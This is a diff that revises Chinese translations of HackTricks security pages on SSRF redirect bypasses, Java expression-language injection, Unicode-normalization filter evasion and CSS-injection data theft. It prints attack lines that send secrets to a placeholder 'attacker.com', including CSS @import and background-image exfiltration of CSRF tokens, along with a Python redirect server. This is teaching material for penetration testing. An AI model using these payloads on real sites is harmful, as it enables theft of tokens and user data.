@ -162,7 +154,7 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### 路径和扩展绕过
|
||||
|
||||
如果您需要 URL 以路径或扩展结尾,或必须包含路径,您可以尝试以下绕过方法:
|
||||
如果要求URL必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -174,8 +166,8 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
### Bypass via redirect
|
||||
|
||||
服务器可能在**过滤原始请求**的 SSRF **但不**过滤对该请求的可能**重定向**响应。\
|
||||
例如,一个通过 `url=https://www.google.com/` 漏洞的服务器可能在**过滤 url 参数**。但是,如果你使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到你想要重定向的地方,你可能能够**访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的**协议**,如 gopher。\
|
||||
服务器可能在 **过滤 SSRF 的原始请求**,但 **不** 过滤对该请求的可能 **重定向** 响应。\
|
||||
例如,一个通过 `url=https://www.google.com/` 漏洞的服务器可能在 **过滤 url 参数**。但是,如果你使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到你想要重定向的地方,你可能能够 **访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的 **协议**,如 gopher。\
|
||||
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -197,7 +189,7 @@ self.end_headers()
|
|||
|
||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## 解释的技巧
|
||||
## 解释技巧
|
||||
|
||||
### 反斜杠技巧
|
||||
|
||||
|
@ -216,23 +208,18 @@ _反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-pa
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,28 +10,14 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
表达式语言 (EL) 在 JavaEE 中是连接表现层(例如,网页)和应用逻辑(例如,受管 bean)的重要组成部分,使它们能够相互作用。它主要用于:
|
||||
表达式语言 (EL) 是 JavaEE 中不可或缺的一部分,用于连接表现层(例如,网页)和应用逻辑(例如,受管 bean),使它们能够相互作用。它主要用于:
|
||||
|
||||
* **JavaServer Faces (JSF)**:用于将 UI 组件绑定到后端数据/操作。
|
||||
* **JavaServer Pages (JSP)**:用于在 JSP 页面中访问和操作数据。
|
||||
|
@ -45,7 +31,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
EL 存在于 JavaEE 技术、独立环境中,并通过 `.jsp` 或 `.jsf` 文件扩展名、堆栈错误和头部中的“Servlet”等术语可识别。然而,其特性和某些字符的使用可能依赖于版本。
|
||||
|
||||
{% hint style="info" %}
|
||||
根据 **EL 版本**,某些 **特性** 可能是 **开启** 或 **关闭**,通常某些 **字符** 可能是 **不允许** 的。
|
||||
根据 **EL 版本**,某些 **特性** 可能是 **开启** 或 **关闭** 的,通常某些 **字符** 可能是 **不允许** 的。
|
||||
{% endhint %}
|
||||
|
||||
## 基本示例
|
||||
|
@ -97,7 +83,7 @@ Enter a String to evaluate:
|
|||
|
||||
在 **这篇文章** 中查看: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
|
||||
## 有效载荷
|
||||
## Payloads
|
||||
|
||||
### 基本操作
|
||||
```bash
|
||||
|
@ -243,29 +229,17 @@ ${employee.FirstName}
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,32 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
**这是对以下内容的总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。请查看以获取更多详细信息(图片来自那里)。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## 理解 Unicode 和规范化
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**这是一个摘要:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。请查看以获取更多详细信息(图片来自那里)。
|
||||
|
||||
## Understanding Unicode and Normalization
|
||||
|
||||
Unicode 规范化是一个确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在编程和数据处理中的字符串处理上至关重要。Unicode 标准定义了两种字符等价性:
|
||||
Unicode 规范化是一个确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在编程和数据处理中的字符串处理至关重要。Unicode 标准定义了两种字符等价性:
|
||||
|
||||
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。
|
||||
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。
|
||||
|
||||
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解,您可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
|
||||
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解,可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
|
||||
|
||||
### Key Points on Unicode Encoding
|
||||
### 关于 Unicode 编码的关键点
|
||||
|
||||
理解 Unicode 编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点:
|
||||
|
||||
|
@ -50,7 +36,7 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
|
|||
* **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
|
||||
* **UTF 的变体**:除了 UTF-8,还有其他编码标准,如 UTF-16(使用最少 2 个字节,最多 4 个)和 UTF-32(对所有字符使用 4 个字节)。
|
||||
|
||||
理解这些概念对于有效处理和缓解由于 Unicode 的复杂性及其各种编码方法引发的潜在问题至关重要。
|
||||
理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。
|
||||
|
||||
Unicode 如何规范化两个表示相同字符的不同字节的示例:
|
||||
```python
|
||||
|
@ -62,15 +48,15 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
如果你能在一个 webapp 中找到一个被回显的值,你可以尝试发送 **‘KELVIN SIGN’ (U+0212A)**,它 **规范化为 "K"**(你可以将其发送为 `%e2%84%aa`)。**如果回显了 "K"**,那么某种 **Unicode 规范化** 正在进行。
|
||||
|
||||
另一个 **示例**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 在 **unicode** 之后是 `Leonishan`。
|
||||
另一个 **例子**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 在 **unicode** 之后是 `Leonishan`。
|
||||
|
||||
## **易受攻击的示例**
|
||||
|
||||
### **SQL 注入过滤器绕过**
|
||||
|
||||
想象一个网页使用字符 `'` 来创建包含用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **创建查询之前**,它会 **使用 Unicode 规范化** 用户的输入。
|
||||
想象一个网页,它使用字符 `'` 来创建包含用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **创建查询之前**,它会使用 **Unicode** 对用户输入进行 **规范化**。
|
||||
|
||||
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**:
|
||||
然后,恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**:
|
||||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
|
||||
|
||||
|
@ -81,9 +67,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
* `1` -- %c2%b9
|
||||
* `=` -- %e2%81%bc
|
||||
* `/` -- %ef%bc%8f
|
||||
* `-` -- %ef%b9%a3
|
||||
* `#` -- %ef%b9%9f
|
||||
* `*` -- %ef%b9%a1
|
||||
* `-`-- %ef%b9%a3
|
||||
* `#`-- %ef%b9%9f
|
||||
* `*`-- %ef%b9%a1
|
||||
* `'` -- %ef%bc%87
|
||||
* `"` -- %ef%bc%82
|
||||
* `|` -- %ef%bd%9c
|
||||
|
@ -126,18 +112,6 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -9,19 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS 注入
|
||||
|
||||
|
@ -44,25 +37,25 @@ background-image: url(https://attacker.com/exfil/9);
|
|||
|
||||
#### 绕过隐藏元素的限制
|
||||
|
||||
为了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后,CSS 规则适用于所有跟随隐藏输入元素的兄弟元素,从而导致背景图像加载:
|
||||
为了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后,CSS 规则适用于所有跟随隐藏输入元素的兄弟,导致背景图像加载:
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
一个利用此技术的实际示例在提供的代码片段中详细说明。您可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。
|
||||
一个利用此技术的实际示例在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。
|
||||
|
||||
#### CSS注入的先决条件
|
||||
#### CSS 注入的先决条件
|
||||
|
||||
为了使CSS注入技术有效,必须满足某些条件:
|
||||
为了使 CSS 注入技术有效,必须满足某些条件:
|
||||
|
||||
1. **有效负载长度**:CSS注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
|
||||
2. **CSS重新评估**:您应该能够框架页面,这对于触发使用新生成的有效负载重新评估CSS是必要的。
|
||||
3. **外部资源**:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略(CSP)的限制。
|
||||
1. **有效负载长度**:CSS 注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
|
||||
2. **CSS 重新评估**:您应该能够框架页面,这对于触发使用新生成的有效负载的 CSS 重新评估是必要的。
|
||||
3. **外部资源**:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略 (CSP) 的限制。
|
||||
|
||||
### 盲属性选择器
|
||||
|
||||
正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器**`:has`**和**`:not`**来识别盲元素中的内容。这在您不知道加载CSS注入的网页内部内容时非常有用。\
|
||||
正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
|
||||
还可以使用这些选择器从多个相同类型的块中提取信息,例如:
|
||||
```html
|
||||
<style>
|
||||
|
@ -73,7 +66,7 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
结合以下的 **@import** 技术,可以从 **盲页面中通过 CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
|
||||
结合以下的 **@import** 技术,可以从盲页面中通过 **CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
|
||||
|
||||
### @import
|
||||
|
||||
|
@ -81,23 +74,23 @@ background:url(/m);
|
|||
|
||||
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术的质量。
|
||||
|
||||
这首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) 展示,工作原理如下:
|
||||
这首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) 展示,其工作原理如下:
|
||||
|
||||
我们将 **只加载页面一次,并仅通过导入到攻击者服务器**(这是发送给受害者的有效载荷)。
|
||||
我们将 **只加载页面一次,并仅通过导入到攻击者的服务器**(这是发送给受害者的有效载荷)。
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. 导入将会**接收一些CSS脚本**来自攻击者,**浏览器将加载它**。
|
||||
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
|
||||
1. 攻击者的服务器不会立即响应这个请求,因为我们想要泄露一些字符,然后用有效负载响应这个导入以泄露下一个字符。
|
||||
3. 有效负载的第二部分和更大部分将是一个**属性选择器泄露有效负载**。
|
||||
1. 攻击者的服务器尚未响应此请求,因为我们想要泄露一些字符,然后用有效负载响应此导入以泄露下一个字符。
|
||||
3. 有效负载的第二部分和更大部分将是**属性选择器泄露有效负载**。
|
||||
1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
|
||||
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**。
|
||||
1. 响应将与**步骤2、3和4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。
|
||||
|
||||
攻击者将**遵循这个循环,直到完全泄露秘密**。
|
||||
|
||||
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但带注释**。](./#css-injection)
|
||||
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但带注释**](./#css-injection)。
|
||||
|
||||
{% hint style="info" %}
|
||||
该脚本将尝试每次发现2个字符(从开头和结尾),因为属性选择器允许做这样的事情:
|
||||
|
@ -131,7 +124,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
**参考:** [基于CSS的攻击:滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时显示此字体**。
|
||||
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -170,7 +163,7 @@ font-family: 'poc';
|
|||
|
||||
**`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS 选择器第 4 级规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 只有在文本被片段明确定位时才会匹配任何元素。
|
||||
|
||||
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源,以确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
|
||||
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源,以确认网页上特定文本的存在。该方法涉及注入如下的 CSS 规则:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -183,8 +176,8 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
|||
为了缓解,以下几点应注意:
|
||||
|
||||
1. **受限的STTF匹配**:Scroll-to-text Fragment(STTF)旨在仅匹配单词或句子,从而限制其泄露任意秘密或令牌的能力。
|
||||
2. **限制在顶级浏览上下文中**:STTF仅在顶级浏览上下文中操作,并且在iframe内不起作用,使任何利用尝试对用户更明显。
|
||||
3. **用户激活的必要性**:STTF需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互),可能会简化攻击的自动化。
|
||||
2. **限制在顶级浏览上下文中**:STTF仅在顶级浏览上下文中操作,不在iframe内工作,使任何利用尝试对用户更明显。
|
||||
3. **用户激活的必要性**:STTF需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互),可能会降低攻击的自动化难度。
|
||||
|
||||
了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
|
||||
|
||||
|
@ -194,7 +187,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
|||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
您可以为特定的unicode值指定**外部字体**,这些字体**仅在页面中存在这些unicode值时**被**收集**。例如:
|
||||
您可以为特定的unicode值指定**外部字体**,这些字体只有在页面中存在这些unicode值时才会被**收集**。例如:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -229,7 +222,7 @@ font-family:poc;
|
|||
|
||||
1. **创建自定义字体**:
|
||||
- SVG 字体是通过具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
|
||||
- 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示两个字符序列。
|
||||
- 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
|
||||
- 然后使用 fontforge 将这些字体转换为 woff 格式。
|
||||
|
||||
2. **检测宽度变化**:
|
||||
|
@ -251,9 +244,9 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
|
||||
4. **优化**:
|
||||
- 当前使用 `<meta refresh=...` 的初始化方法并不理想。
|
||||
- 更有效的方法可能涉及 CSS `@import` 技巧,从而提高利用的性能。
|
||||
- 更有效的方法可能涉及 CSS `@import` 技巧,提高利用的性能。
|
||||
|
||||
